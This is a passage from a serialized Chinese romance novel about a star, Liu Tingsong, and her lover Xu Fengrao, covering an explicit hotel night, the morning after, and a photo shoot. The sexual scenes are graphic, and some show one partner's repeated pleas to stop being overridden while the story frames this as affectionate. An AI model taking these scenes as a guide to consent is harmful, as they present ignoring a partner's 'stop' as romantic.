“有事?”许是她耽搁了太久,许风扰开始不耐地催促。 况野憋了憋气,愣是说不出一句话。 “挂了,有什么事明天再说,”许风扰等了几秒就放弃,手机直接被甩飞向床,砸出重重声响。 怀裏的女人像是颤了下,又被紧紧压在玻璃上。 不知从何时开始,两人已站到落地窗前。 柳听颂的衣服还在,西装外套、酒红衬衫,甚至连之前掉落在地的西裤都被贴心勾上,虚虚挂在胯骨边缘。 哪怕有路人偶然抬头,也只能瞧见一抹淡淡黑影。 可许风扰只有知道,柳听颂的衬衫早已敞开,裏头那件更是松垮,在不断拉扯中,连半遮都做不到,丰腴的圆弧就这样紧紧贴在冰冷玻璃上,泛起灰白的雾。 “别、不要,”柳听颂在低泣,清润的声音都变得模糊,断断续续地吐出:“可以了、够了。” 唇间的吐息不断落在玻璃面,彙聚成水雾,往下滑落。 回应她的是许风扰抬起的手,将她压在玻璃面的手拽住,轻易就钻入对方指间,与之十指紧扣。 而另一只从后绕至前头、向西裤边缘探入的手,从开始到现在就没停过。 不间* 断的起落,已让柳听颂到了崩溃的边缘,鼻梁上的银框眼镜歪斜,情///欲薄粉从脖颈向周围散开,将整个人都熏染,之前清冷知性都化作楚楚可欺。 “别、可以了。” 她试图握住许风扰手腕拉扯,却无力阻拦,只能无力搭在那儿,越发清晰感受着许风扰的进退。 头一次陷入这样进退两难的境地裏,往前是捂不热的冰冷玻璃,往后是将自己往许风扰怀裏送,接受更深的探入。 退无可退,进无可进。 完全被陷阱中的藤蔓包裹住,任由它携着带着麻///醉毒素的的小刺,一点点刺进白净肌理中。 房间裏还未开灯,没有时间也不需要,任由周围变成一团黑。 而她们躲在黑暗裏,唯一的光源是外面并不明亮的月光,如银纱般泼洒而下来,如同锁骨与肩颈形成的三角凹坑裏,好似积了一摊皎洁的水洼。 而在脱力摇晃间,水洼就溅起,月波洒落满身,冒出的细密薄汗也变得晶莹,像是刚刚出窑的白瓷。 意识朦胧间,柳听颂觉得自己快要被钉死在这裏,血肉被融化,骨骼也被碾碎,要被榨出身体裏的全部水分,每一处都写满许风扰的名字。 腰腹轮廓起伏、绷紧,还未缓和片刻又紧绷,往日不大明显的线条都变得清晰。 远处已被漆黑夜色笼罩,蔚蓝天空比宝石更璀璨,连碎星、皓月都变成宝石上的耀眼火彩。 海滩上已无人走过,自涨潮后就有人在入口处拉了横条,将游客阻拦在红线外。 他们自然不会无故如此,只因今晚的潮涨得实在厉害,甚至已经将礁石滩全部淹没,就连放得老远的太阳椅都被波及,实在危险的很。 且,也不知是海水涌上、浸泡电路,还是有抠门的家伙见此情况,索性将全部路灯都熄灭,以至于夜色更浓,如墨汁填满空间。 “求你、”柳听颂再无法承受。 残留的些许清醒意识、无法理解,也无法告诉她为什么事情会变成现在这样。 从不远处的沙发,被诱哄着一步步走向这裏。 “电话,”她已经开始分不清时间与空间,只想寻到一个理由,将许风扰推开。 “接电话,”她开始重复。 “你去接电话,”喃喃低语沙哑至极。 许风扰低头咬住她耳垂,哑声回答:“刚刚接了。” 对,她接了。 柳听颂后知后觉地反应过来,在此之前,突然响起的铃声被她当做救命稻草,像现在这般,不断催促着许风扰去接,那人起初不愿,柳听颂就抬起手推着她肩膀,不断重复。 许风扰就露出烦闷神色,低着头在她的耳边说:“再来一次,这次好了就接。” 这样的话语对于此刻的柳听颂而言,实在太具蛊惑力,以至于主动抬///腰,配合着将自己的点往对方指尖送,赶在最后几道铃声前战栗不止。 她本以为要结束,可那人却快步拿到手机,然后将要逃跑的她重新压在这儿,从面对面到她对着镜子,之前的努力毫无作用,甚至变成更过分的欺负。 这一次结束就接,可不是这一次结束就结束。 “坏东西,”她忍不住斥骂,可又哑又弱的哭腔声实在没有一点威慑力,反倒像故意撒娇一般。 “坏狗,”她掐着许风扰手腕,就连指尖都在发着颤。 太过分了,哪有人会这样。 回忆不受控制地冒出,让她无比怀念起五年前的许风扰,虽然也会有些过分,但不会像现在这样,完全是一头喂不饱的狗,就连骨髓都要被敲碎舔舐。 怎么会这样 她又一次冒出疑问,明明在几天前,许风扰还是个在她的撩拨下,一退再退,克制又隐忍的好孩子,甚至让她一度怀疑起自己,是不是太过无趣,没有魅力。 她甚至觉得五年后的许风扰不再对这事有喜爱、执着,变成一种可有可无的态度,好像一次次动////情的人只有自己。 可直到现在才明白,这人哪裏是不再喜欢,明明就是在憋着、忍着,哪怕是酒醉那会,也在故意惩罚,直到今天才彻底消气。 或者说是原谅了她之前的不告而别,但没有放弃惩罚。 “坏狗。” “混蛋。” 斥骂声一句接着一句,最后变成连名带姓、完完整整的三个字。 “许风扰!” 这是最高级别的警告。 她哭咽着道:“我站不住了、真的站不住了。” 要不是还有许风扰压着,她早就要往旁边摔落。 又是一阵战栗,那人没有一点停下的趋势,越发过分,好像不知疲倦。 玻璃窗上的水雾更浓,已分不清是水汽还是眼泪,不断往下滑落。 “许风扰!”她又喊,声音破碎得不成样子。 那人终于松开与她十指紧扣的手,却不是离开,而是捂住她的嘴。 那些尚未能喊出的字句就被抵回齿间。 她低下头,声音比起柳听颂也没好到哪裏去,极暗哑道:“别叫我的名字。” 柳听颂不想理,甚至咬了对方一口。 “别叫、”许风扰用侧脸蹭了蹭对方,讨好似的哄道:“姐姐喊得太大声了,隔壁会听见。” 这裏不是家裏,是酒店。 柳听颂终于反应过来,声音被努力压住,变成声声呜咽。 而另一面的况野还在不知所措,捏着手机的骨节发白,若是楚澄,早就把许风扰调侃到脸红,再往群裏一发,让大家伙都笑一遍。 可这人是况野,她抿了抿唇,最后还是把手机放下,僵硬等在原地。 直到街道逐渐变得冷清,食客散去,小贩开始收摊,美甲店的最后一名客人离开。 况野默默站直,表面依旧很酷,可眼眸却紧紧盯在对面。 直到瞧见那人向她走来。 况野不由僵了僵身子,掌心冒出细汗。 “晚、晚上好,”她结巴开口,恨不得将不知所措这四个字写在脸上。 另一人却轻松,回以明媚笑意:“晚上好啊,大明星。” 她总是喜欢这样叫她,带着些许促狭的意味,像是只喜欢恶作剧的黑猫。 “我、我,”况野不知道该说什么,总是嘴笨得很。 幸好对方接话道:“你来找我?” 况野含糊应了声:“啊。” “上次的卡是你送给小佳的” 小佳就是她的那个朋友。 况野下意识想点头,又急忙收回,想要否认,可当看见对方那双含笑的眼眸时,她又僵住,说不出旁的话来。 “还你,这种东西可别乱送人,”那人就笑,将早就捏在手中的卡往对方怀裏一丢。 “我们上次可被吓了一跳,喝了一晚上酒才花了三十。” 况野连忙收忙脚乱接住,还没有来得及反应就道:“没事,你拿着就是。” 那人又不说话,笑盈盈地瞧着她。 她什么都不用说,况野就把卡收了回去。 见到她乖乖听话,那人才又继续:“上次那个人……” “这不关你们的事,”况野脱口而出打断,后一秒又意识到不对,声音放缓道:“抱歉,这事怪我,他就是想找个由头激怒我,让我和他比赛。” “那你没站出来前呢?”那人并没有被绕进去,笑眼弯弯道:“难道不是他先过来纠缠我,然后你才站出来帮忙,再被他盯上的” 她又反问:“怎么就全是你的错了?” 况野又不说话了,本来就嘴笨,这下更不知道说什么。 反倒让另一个人又主动开口:“那天谢谢你啦。” “应该的,”况野呆得气人。 幸好对方不计较,又笑道:“你别理他说的那些话,你不比别人差。” 况野眨了眨眼,想了下才知道对方在说什么。 是那个垃圾为了激怒她,故意说若无许风扰,燃陨不可能像今天这般火,她们都在抱许风扰的大腿,她这才被激怒,若不是楚澄及时出现…… 况野扯了扯嘴角,就道:“我不在意。” “是吗?”那人笑了笑,一双狐貍眼带着狡黠,话音一转就道:“那你今天来找我做什么” “我……”况野深呼吸了下,锁骨间的蝴蝶也跟着扇翅。 她一鼓作气道:“我想问你要不要去跑山?” 澄澈眼眸带着无声希冀。 海浪拍打沙滩,大风掀起白花,房间裏的灯亮起又熄灭,窗帘终于被合上。 之后是怎么结束的,柳听颂已完全没了意识,只记得在此之前,自己好像被哄着,翻来覆去说了无数次我是你的,并发誓再也不会离开许风扰。 就连后面的清理、擦药,她都提不起一丝力气,只想睡觉,昏昏沉沉地被许风扰支配着完成一切。 再后面,许风扰好像是提来了食物,只是柳听颂太累,连哪怕是被对方扶起,哄着喂了几口后又睡着,实在是被欺负惨了。 第48章 十分钟就够了 次日。 稀薄的日光穿过窗帘缝隙, 海风携着清晨的凉,便要往裏头钻。 置于床头的手机发出震响,吵得个没完没了。 被发丝半遮眉眼的女人被吵醒, 眼帘颤动间, 眉也拧紧。 蜷缩在她怀裏的白毛小狗反应更大,半睡半醒地往她怀裏钻, 试图以此隔绝声响。 还未彻底清醒,年长那位就下意识用手捂住对方耳朵,另一只手则往声音来源处摸索。 须臾, 连打了几个的电话终于拨通, 梨子的声音带着催促, 开口就道:“姐你醒了吗?现在已经七点半了。” 她又道:“昨儿就和那边约好,八点半要赶去那边试衣服、做造型, 十一点有一个品牌方的小型访谈……” 小助理如同机器人般, 叭叭着将今日的行程复述了一遍。 微皱的眉头松开, 表情却没有舒缓半点, 只是困意彻底消散, 变得无比清醒。 “姐你醒了吗?”梨子又问了一遍, 说:“我给你叫份早餐” 按照以往惯例, 若是总统套房这样的房型,梨子应住在套间中的次卧室,以便照顾柳听颂。 可这次情况不同,品牌方原本安排的房型比这个稍次,但将梨子安排在柳听颂隔壁,当听闻许风扰要来后, 柳听颂便自己升了房型,梨子也就识趣地没跟来。 所以, 今早就略微麻烦了些,只能打来一个又一个电话催促。 梨子等了等,又问:“姐你醒了吗?” 怀裏的家伙又被吵醒,白毛脑袋往肩窝处连蹭几下,又低头往下埋着,在睡梦中也不曾亏待自己。 从脖颈绕至脑后、将人搂抱住的手摸过对方后脑勺,表示安抚。 柳听颂眼帘半掀,垂眼就看向怀裏的人,尚未彻底清醒的眼眸掀起温柔神色。 柳听颂缓了下,才开口:“醒了……” 话还未说完,柳听颂便抿紧唇,虽早有意料,却还是被过分沙哑的嗓音吓到。 幸好另一边的梨子没多想,只当是才睡醒的缘故,又问了一遍之前的问题。 柳听颂咳了几声才接道:“不用叫了。” 梨子答应了声,还自以为很贴心地让柳听颂喝点温水。 柳听颂没再理会,直接将电话挂断。 再看向罪魁祸首,这不知这家伙哪裏养出的厚脸皮,昨夜将她翻来覆去折腾个遍,没有半点愧疚也就罢了,现在还理直气壮埋在她的怀裏,要她抱着睡。 祖宗。 柳听颂脑中突然闪过这两个字,明明是嗔怪,可唇角却微微掀起,另一只空出的手挡在对方眼前,将偷偷遛入的日光遮挡,覆在脑后的手也不得闲,指尖一次又一次地穿梭过发丝。 因说话声而感到不满的家伙,表情舒缓,可抱着柳听颂的手却不见松。 她这人的睡姿看似孩子气,实则霸道得很。 也不管柳听颂累不累、沉不沉,反正就要用手抱紧柳听颂的腰,一条腿挤进柳听颂腿间,脑袋埋在锁骨下,一面像个小孩蜷缩在母亲怀裏,一面又叫柳听颂动弹不得,完全被禁锢住。 思绪落到此处,柳听颂却没有拖后躲避。 许风扰再如何恶劣,也得要柳听颂纵容才是,既能维持一个睡姿一晚上,单靠一人哪裏可能还得要另一人也喜欢才是。 凌乱白发本就遮挡面容,更别说埋到柳听颂怀裏,就只剩下小半张脸,在锐气淡去后,便显得稚嫩。 明明是早就看惯的容貌,柳听颂却凝视许久,像是要将对方容貌牢牢印在心底一般,就连唇瓣上的细小纹路都瞧得仔细。 即便昨夜被折腾成那样,也叫她生不出半点脾气,微微低头,吻在这人额头,不轻不重地斥了句:“坏东西。” 不知道等下会有多麻烦,毕竟这两天都被工作排满,可她现在嗓音又哑,锁骨往下全是吻痕,就算是不大懂事的人都能看出几分端倪,唯一能够感到庆幸的是,这人还有那么一点点分寸,没在太明显的脖颈处留下痕迹。 柳听颂忍不住扯了扯这人发梢,又道:“坏狗。” 当睡意逐渐散去,腰间、双腿处的酸软便叫嚣着涌来,每一处都写满了力竭后的疲乏。 回应她的是不断收紧的双臂,缠着纤薄腰肢往自己骨肉裏压,将两人间残留的缝隙积压殆尽,未着一物的躯体紧紧贴在一起。 柳听颂呼吸略微困难,却没有挣扎,任由对方胡闹。 外头的海浪拍打声嘈杂,空气中咸涩不断往裏冒,在折腾中,被褥顺着床边往下落了些,许风扰却不管,只顾着抱柳听颂,五六分钟后才在对方的轻拍中慢吞吞松开手。 可不等柳听颂缓口气,她又用脑袋蹭了蹭,闷闷冒出一句:“早上好,柳听颂。” “早上好,宝宝,”柳听颂温柔轻哄。 昨日的遗憾终于在今天彻底弥补。 不等对方再说,许风扰就冒出一句:“你刚刚又偷亲我。” 突然的控诉,还没有彻底清醒就开始胡闹。 她抬起头,目光炯炯地看向柳听颂,好像个找到由头就要欺负人的小狗。 “赔我,”她说。 “怎么赔?”柳听颂神情慵懒,声音依旧,饶有兴致地和她闹,又补充道:“我等会还有工作。” 这和拒绝有什么区别 许风扰撇了撇嘴,仰头贴在她唇角,重重亲了一口后才分开,可覆在脑后的手却阻拦,往裏一按,刚分离的唇又贴住,柳听颂低下头,主动延长了这个吻。 唇瓣轻触,转瞬又贴上,不再像之前那样着急、迫切,如今更像餍足后的闲适,懒洋洋地玩着你追我赶的小游戏。 红唇沾染水光,又被轻轻舔///弄。 柳听颂轻笑出声:“现在是正大光明的亲。” 许风扰咬住她的唇,搭在腰间的手忍不住下移,却又被柳听颂拽住,压回侧腰,温声道:“揉揉。” 许风扰表面硬气,还哼了声表示不满,可手却诚实,知道这一切是谁造成的,不敢不听话。 呼吸交替,浅啄换作深吻,细软腰间被揉捏,指腹薄茧划过细腻肌理。 许是呼吸出了岔子,柳听颂微微仰头要躲,可另一人却不肯,仰头时无意提腿,便抵向对方,换得柳听颂闷闷一声“唔”。 原本还算乖巧的小狗,似乎感受到什么,抵在那处的腿不肯再往下,轻轻打着圈碾磨。 柳听颂呼吸微重,又要拽住对方对方手腕。 许风扰这次却没停,眼眸暗了暗,无声开口说出两个字。 柳听颂轻易依照唇型猜到答案。 湿了。 柳听颂耳垂一红,扣在对方手腕的手也变得无力。 “别、还有工作,”她极力控制着喘///息,残余的理智在挣扎。 “几点?”许风扰没有停,膝盖已湿透,哪裏能轻易放弃。 “八点半,”柳听颂如实回答。 许风扰伸手就去抓手机,眯眼一看,声音更哑:“还有五十分钟,给你留四十分钟洗澡、换衣服。” 过分直白的话语,将柳听颂不行的事揭露得干干净净。 那人抬眼要瞪她,下一秒又一软,被情///欲浸泡的眼眸没有半点威慑力,反倒像是邀请。 “痛……”她含糊出声。 昨天晚上过分后的代价还在,即便事后又抹了药,也没那么轻易就消肿。 许风扰显然也是想到这事,腿一松,便往被子裏钻。 外头越发明亮,早起看日出的人已经散去,嬉笑声偶尔传来,便有了清晨的真切实感。 手机屏幕亮起又暗下,像是梨子又发来消息,但无人理会,没时间理会。 被子鼓出大包,曲起的腿想要并上,又被扣住脚踝,往对方肩膀搭。 呼吸更重,纤长的手拽住枕角,将其揉皱后又松开,反复数次,最后彻底拽紧,曲折的骨节发白,青筋微微鼓起。 扬起的下颌绷紧,天鹅颈下的脉搏清晰,喘息声从微张的唇间洩出,如同一条渴水的鱼,周身冒出薄汗。 薄被在拉扯中越发往下,露出平直的一字锁骨以及再往下的半边圆弧,还有覆在上头的半截指节,软肉从指间洩出,旧印未消,又添新痕。 “别、别,”柳听颂突然出声,手往下抓,试图压着对方的脑袋往下,那急促的话语终于能够说出:“别、别吸。” 可被子裏捂着的人哪裏能够听见,即便听见了也不会理,怎么可能在这个时候听话。 细微水声响起,推着脑袋的手穿梭在白发间,试图阻拦又勾着她继续,纠结反复。 十一分钟后,许风扰大力掀开被子,唇边脸颊皆是水迹,宛如洗过一把脸却没有擦拭一般。 而另一人则瘫软在床,随着大力呼吸,腰腹收缩发颤,好像力竭般的虚弱。 许风扰笑了下,随即将人打横抱起,径直往浴室走。 柳听颂仍由她如此,只在对方无意伸舌舔舐唇边时,伸手捂住对方的嘴。 “脏东西,”她羞恼斥道。 许风扰只瞧了她一眼,没说旁的。 不多时,浴室声音响起,那些沾染在许风扰唇边、脸间的水迹都被另一人舔舐干净,呜咽声短暂响起后又停下。 八点半,柳听颂被许风扰抱扶着走到楼下。 等到地方,柳听颂与梨子先行离开,而后坐在保姆车中的许风扰打开手机,忽略李见白等人的消息,直接打开外卖软件,搜索蜂蜜水、金嗓子等物,并快速下单。 半个小时后,摄影棚中又多了一个头戴鸭舌帽、黑框眼镜的白发助理。 被抛弃的梨子默默站在一边,一口咬住新助理顺便买给她的三明治。 第49章 你和我进去 摄影棚中人声暂歇, 在灯光彙聚处,用三两沙发、低矮茶几等物搭建出一个看起来分外舒适的环境,主持人与柳听颂相对而坐, 在短暂谈笑后才进入正题。 许风扰斜靠在不起眼的角落裏, 视线从单反屏幕挪开,又停留在柳听颂身上。 偶有疑惑视线扫来, 又带着没有答案的不解挪开。 毕竟这人实在扎眼,虽然戴了鸭舌帽、黑框眼镜作为遮掩,甚至下半张脸都被口罩蒙住, 可有些人就是这样, 即便丢在拥挤人群中, 也能凭着卓越气质与青隽身姿,成为人群的最中心。 艺人有几个助理跟随并不奇怪, 尤其是柳听颂这种咖位的, 四五个都不算稀奇。 甚至连许风扰那头扎眼白发也未引起太多猜想, 到底是娱乐圈, 那些个小爱豆甚至可以一天换一个发色, 周围人也受影响, 总爱染点别的颜色。 所以许风扰的白发并未引起太多关注, 可众人还是敏锐的察觉到些许不对,却又说不上来,还不敢往许风扰身上想,毕竟在众人眼中,柳听颂与许风扰完全是不相同的两种人,实在无法想到这处。 许风扰有些不耐, 自顾自杵在那边,不曾理会旁人。 采访还在继续, 又是一个无聊话题,她暗自腹诽这种事情最是麻烦,总不尴不尬的,主持人在那边绞尽脑汁想出一两个爆点,被采访者谨慎中还得冒出点话题。 要是一整段视频都太无聊,甚至还会被偷偷取消。 不过这个代言倒是厉害,算是最顶尖的哪几个,哪怕燃陨如今再火,也不曾拥有过品牌方的青睐,但他们却对柳听颂表现出极大的热情,甚至愿意将拍摄地点转到更合适却不大方便的海城,还要拍一堆东西预热宣传,像是恨不得全天下都知道,柳听颂要成为他们的代言人了。 许风扰掀了掀嘴角,眼帘抬起后,又落在柳听颂身上。 爱意与隐晦的仰慕交织,最后碧色眼眸中只剩下对方的倒影。 这是大家的柳天后。 她失而复得的爱人。 想到这儿,那点烦闷又消散开,化作软绵绵的感受。 另一面的人不曾忽略这一变化,从刚开始就一直注意着,怕许风扰觉得无趣,又怕她烦闷,直到感受到大狗摇起尾巴,她才松了口气。 回答完又一个问题,柳听颂端起茶杯,低头抿了一口。 裏头是那坏家伙准备的蜂蜜水,依然沙哑的嗓音被归结于感冒,许风扰手裏还提着给她准备的小食,争取在补妆的间隙,喂她一口。 很好哄的姐姐就这样轻易地原谅了坏狗。 “听颂姐这两天有逛过海城吗?有去过什么有意思的地方吗?”对面的主持人又问。 柳听颂收回视线,还没有来得及开口,又听那主持人继续道:“听说海城这边的海洋馆不错,是网友推荐的海城必去打卡点哦。” 她本是好意,怕柳听颂回答不出,给她暗示了一个还不错的答案。 柳听颂余光一瞥,落在许风扰身上。 那人低着脑袋,手揪在衣角边缘处,拧出一条银白的毛发,看长度,因是被留在酒店的那只缅因。 养小动物就是这样,再怎么小心仔细,也躲不掉它乱飞的毛,全是它留下的小惊喜。 许风扰摸了摸口袋,却没有用钱夹子的习惯,索性将手机壳掀开,这还是买手机的时候送的透明原壳,许风扰懒得换,一直都是这个。 捡出的猫毛被放在壳中,轻轻合上后就被夹在透明壳与手机中间,像是个有点碍眼的装饰。 柳听颂又喝了一口蜜水,只道:“此次行程繁忙,只能遗憾错过了。” “这样啊,”主持人虽诧异于她的答案,但还是装出遗憾语气接话,心裏仍是不解,明明有更能讨好本地粉丝的选择,可柳听颂偏就显得那么冷漠。 “不过海城的景致不错,我打算等会去海边走走,”柳听颂话音一转,又补充道。 主持人这才松了口气,声音一扬便开始附和:“海城的大海与沙滩可是很出名的,我们这次的拍摄也是……” 她开始将话题往代言上引。 柳听颂自然配合,可思绪却还在许风扰那边。 早上的那一遭既是对方胡闹,但也有柳听颂纵容的缘故。 终于和好的心情雀跃,总会过分欣然,只能做些什么来表达、用以抒发,才能将不受控制的情绪缓解些许。 柳听颂无意识抬腿,想要将左腿压在右腿,可还没有完全抬起,就在中途的挤压中感受到明显肿痛,她眉头一皱,又不动声色地放下腿。 可以想象,昨夜的许风扰到底有多过分,即便敷过两回药,也缓和不了多少。 柳听颂不由往后伸手,将柔软靠枕调整了个合适角度,完全贴在腰后,以此来缓解腰部的酸软。 躲在一边的梨子还在啃着三明治,看似低垂的杏眼转来转去,看一眼柳听颂,又看一眼许风扰,手裏的三明治像变成了柠檬一般,酸得直掉牙。 她不明白,自己当初为什么会去磕乘风CP,那点强行截出的甜头,哪裏比得上这两位,甜得发腻。 大早上就黏黏糊糊的,牵着手一起坐车过来也就罢了。 你送我我舍不得你,还想把许风扰再送回酒店也就罢了。 许风扰不肯离开,要在车裏等着也就罢了。 分别片刻就受不了,又乔装打扮装成临时助理进摄影棚也就罢了。 但是能不能稍微克制一点,不要在那么多人面前眉来眼去啊! 你偏头看我一眼,我抬头看你一眼,不知道都还以为在演什么小甜剧,梨子揉了揉酸得不行的脸颊,哪怕是CP粉也不能一口气吃下那么多糖,请正主关爱CP粉牙齿健康! 啃了半天的三明治终于吃完,梨子随手丢进旁边垃圾桶裏,掏出手机就登上V博,日常搜索一遍柳听颂和许风扰。 可惜结果还是一样,什么都能磕的网友这一次实在失败,竟然那么久了也没建出个超话。 真差劲啊这一届网友,怪不得磕来磕去都是假糖,真情侣都在你们眼底下破镜重圆了,你们还在阿巴巴。 梨子默默摇了摇头。 思绪间,采访告一段落,之后还有一个拍摄。 工作人员将柳听颂代入专属化妆间,许风扰与梨子紧跟其后。 人刚坐到镜子前,就有化妆师提着一堆工具上前,手法熟练地替她补妆。 许风扰也不出声打扰,手提东西,站在镜子后,看似温驯乖巧,实则被帽檐、黑框眼镜遮掩的眼眸,直勾勾盯着镜面,不曾挪开半点。 让人想到恪守职责的大狼狗,化妆师的手多靠近一点,她就开始皱眉,偷偷龇牙。 惹得柳听颂想笑,眼眸弯了弯,又碍于周围一堆人,没办法摸摸对方的脑表示安慰,只能看着镜中人暗暗磨牙。 之前做的发型并不合适后面的拍摄,造型师火急火燎地赶来,取代了化妆师的位置。 发丝散落,卷发棒随之卷上,柳听颂在这个时候出声。 “过来。” 声音清润干净,却不似平常与许风扰说话时的温和,以至于身后人一愣,见梨子站在原地不动,她才慢吞吞挪着脚步往前。 “坐下,”柳听颂朝她一瞥,那语气和命令其他助理一样,装得疏离。 叛逆的小狗眯了眯眼,最后还是没能说出别的,抬脚勾来一个高脚凳坐在柳听颂旁边。 造型师不曾理会,一心扑在对方的头发上,即便有所疑惑,也要假装什么都没看见。 许风扰还不懂她意思,直挺挺坐在椅子上,又开始盯着造型师的手看,若不学音乐,学点化妆、帮柳听颂做做造型也不错。 “咳咳,”柳听颂突然出声。 许风扰的注意力被拉扯回,又懵懂看向她。 第一天上班的许助显然什么都不懂,连看人眼色都不会,愣是盯着柳听颂瞧,直到柳听颂冒出一个“饿了”,她才反应过来,急急忙忙去掏塑料袋。 旁边的造型师不由投来一眼,那么笨的助理可真不多见,还好柳听颂脾气好,从来不刁难身边人。 许风扰不知道旁人的嫌弃,先取湿纸巾擦拭过指尖,而后才将三明治拆开,撕成小块,一点点喂到柳听颂唇边。 倒也不算笨,造型师默默加了一分,越发细致地处理指间的发丝。 也不知道外头发生了什么,突然就变得十分吵闹,梨子探头看了两眼,又忍不住盯着那俩人。 酸就酸了,好糖不嫌多,能多吃两口就多吃两口。 梨子无意识吧唧了下嘴。 而捏着面包的手也一缩,许风扰抬眼瞪柳听颂,警告她不要乱来,这是吃面包还是吃手 次次都往前凑,幸好她手疾眼快躲开,不然就被旁边人看见了。 柳听颂眨了眨眼,装出无辜模样,可在下一次喂来时,齿尖仍划过对方指腹。 明摆着就是故意。 许风扰掀开眼帘,做贼心虚地看了眼造型师,指尖捏在撕下面包的边缘,几乎捏不住,快速就往柳听颂唇边抵。 那人看穿她的刻意躲避,竟主动低头咬住,柔软的唇贴向指尖,在修剪整齐的指盖上留下淡淡口红印。 许风扰呼吸一滞,明明是不大敏感的地方,却掀起莫名的痒。 柳听颂却装得正经,好像故意撩拨的人不是她,甚至若无其事地夸奖了句:“这三明治挺甜的。” 最后三个字被刻意加重,也不知道在暗示什么。 许风扰被气笑,昨晚哭着求饶的人不知是谁,今儿人一多就开始嚣张了。 面包一块接着一块,站在身后的人松开手,说了句:“好了。” 柳听颂便起身往更衣室去,许风扰本以为没自己的事了,却听到走到一半的女人突然出声。 “你和我进去。” 第50章 宝宝要负责好不好? 事情好像与猜想中的不同。 在亦步亦趋跟随在柳听颂身后时, 许风扰思绪乱飞,即便告诫过自己不要乱想,也无法控制地冒出一堆旖旎念头。 可当她走进更衣室时, 才知柳听颂为什么将自己喊来。 下一场的服装是一件鱼尾包臀长裙, 珍珠白的绸缎未有太多装饰,仅凭料子本身的特性裁出柔和飘渺之感, 脊背处开出V领,串串宝石流苏,如葡萄藤蔓, 蔓延出网状图案, 右边裙摆开叉至大腿, 圣洁高贵又不失性感。 很适合柳听颂,但不适合现在、满身吻痕的柳听颂。 许风扰心虚地摸了摸鼻尖, 没忘记自个昨儿是怎么胡闹的。 那人懒洋洋掀开眼帘, 幽幽看了她一眼, 没说话, 但看得许风扰心裏发慌, 于是主动开口道:“你拿遮瑕了吗?” 柳听颂闻言, 瞧了眼旁边的包, 意思明显。 原本还因在化妆期间,被柳听颂次次逗弄而惹恼的许风扰,一下子就没了脾气,甚至连旖旎心思都不敢有,老老实实弯腰取出遮瑕,便道:“你先换衣服。” 话毕, 她就转身缩在角落,这会又乖巧起来, 也不知道早上将柳听颂圈在怀裏,赤///裸共浴的人是谁。 柳听颂看得好笑,只得出声道:“转回来。” 许风扰身体一僵,转过身就开始眨眼,那点被压下的念头又冒出来,难不成柳听颂真的想…… 像是被看穿,柳听颂当即就开口,语气无奈道:“你得帮我拿着东西。” 这都是品牌方租借来的高定,不能被随意丢在一边。 “就你这样还想当助理呢?呆头鹅,”柳听颂忍俊不禁,故意打趣。 “怎么会木成这样?梨子都比你机灵,”她笑意不减。 惹得对面许风扰幽怨看她,有点怀疑对方是故意如此,又找不到证据* 。 柳听颂就笑,伸手捏了捏她的脸,明明看懂了对方的意思,却提起旁的,嗔怪道:“谁叫你乱亲那么多?” 她又哄道:“宝宝要负责好不好?” 许风扰被她哄得晕头转向,下意识就点了点头,乖训的碧色眼眸裏写着两个字——行吧。 柳听颂弯了弯眼,夸赞道:“好乖。” 许风扰偏过头,只催促道:“快点。” 白发下的耳垂竟又红了,不知是因为昨夜的过分而羞愧,还是因为此刻柳听颂哄孩子般的语气。 不多时,衣服布料的摩擦声响起。 许风扰脊背挺直,脑袋偏开,伸长双臂被当做临时的衣架,搭满柳听颂换下来的衣服。 不受控制的余光总往那边飘,又急急忙忙拉扯回,许风扰抿了抿唇,呼吸微重。 饿了五年的狗,可不是一两夜就能喂饱的,此刻的克制,完全是因为还在外头。 可下一秒她就被脱下的衣服盖住脑袋。 那人拍了拍她的手表示惩罚,同时道:“不准乱想,这裏不方便。” 甚至比许风扰更先察觉到她的变化。 盖在脑袋上的衣服还残留着一丝暖意,淡淡香气绕在鼻尖,被衣服盖住的人咬了咬后槽牙。 之前被打消的怀疑,现在又冒了出来,她现在十分肯定,柳听颂就是在故意撩拨,还一而再再而三地装出无辜模样,叫她不许多想,勾得她不上不下,还怀疑起自己。 这就是年长者惯用的把戏,五年前的许风扰屡屡中招,五年后的许风扰也没出息地往裏跌。 “梨子,”柳听颂突然喊了一声。 刚刚冒出点报复念头的许风扰,瞬间就站得更直,下颌绷紧。 “哎,姐我在呢,”守在外头的梨子当即答应一声。 最后一点怀疑消失不见,许风扰站得更笔直了,眼观鼻,鼻观口,就差没重复念叨我就是一个衣架,给自己洗脑了。 柳听颂看得好笑,扯了扯这人的手,斥了句:“就会窝裏横。” 她以前就看明白了,许风扰这人面皮薄得很,若是只有她们两个人在,她就恶劣得过分,什么坏事都能想得出来,可一旦牵到外头,尤其是人多的地方,她就规规矩矩的,一逗就脸红,特别紧张。 剧场那回也是,医院裏也是、现在更是。 就好像只外强中干的小狗,只敢在自己觉得安全的地方龇牙拆家,若被送到其他地方,哪怕是些许风吹草动都会竖耳朵,满脸警惕。 许风扰还没来得及反驳,那人又拍了拍她,说:“把衣服递给梨子。” “哦哦,”许风扰连忙答应,凭着记忆转身向门,却在一片黑中摸不到门把手,柳听颂被她气笑,帮忙扯下蒙在许风扰眼前的衣服,她这才能看清前头。 木门被拉开一个小缝,衣服被一件件递出去。 梨子熟练接过,甚至来得及瞅一眼许风扰。 哎呦呦,这是做了什么? 还没有十分钟就脸红了啊。 梨子想笑又只能压住,最后露出一个极扭曲的笑容,故作不经意地提醒:“外面还在布景,你们不用太着急。” 话毕,她一把拽走全部衣服,然后将许风扰的手推了回去,再贴心关上门。 哇哦,这个世界上怎么会有她那么贴心的助理,梨子忍不住夸赞自己,然后抱着衣服、脚步轻快地往外走。 裏头的人自然听得出她的言外之意,许风扰僵在原地,转身回去也不是,傻站着也不是,好半天才冒出一句:“你、你快换衣服,别着凉了。” 话音落下,却不见柳听颂有所动作,许风扰不由偏头看向她,那人回以无奈眼神,像在说你又变成呆头鹅了。 这些裙子穿着是好看,可想要穿上却困难,总得有人帮忙才行。 梨子已经抱着衣服走了,那就只剩下许风扰了。 许风扰眨了眨眼。 被逗得脑袋空白,完全没想过若是她今儿不赶来,柳听颂会如何做,反正肯定有不需要许风扰的法子,只是在此刻全都作废,非要许风扰来帮忙。 昨夜受的气,可不是简单哄几下就能全部消去的。 明明她都哭着求了一次又一次了,这家伙却一点也不见停,非把她折腾得要晕过去才行。 柳听颂收回思绪,主动提示道:“裙子。” 许风扰连忙伸手,抓住衣架,小心将裙子取下。 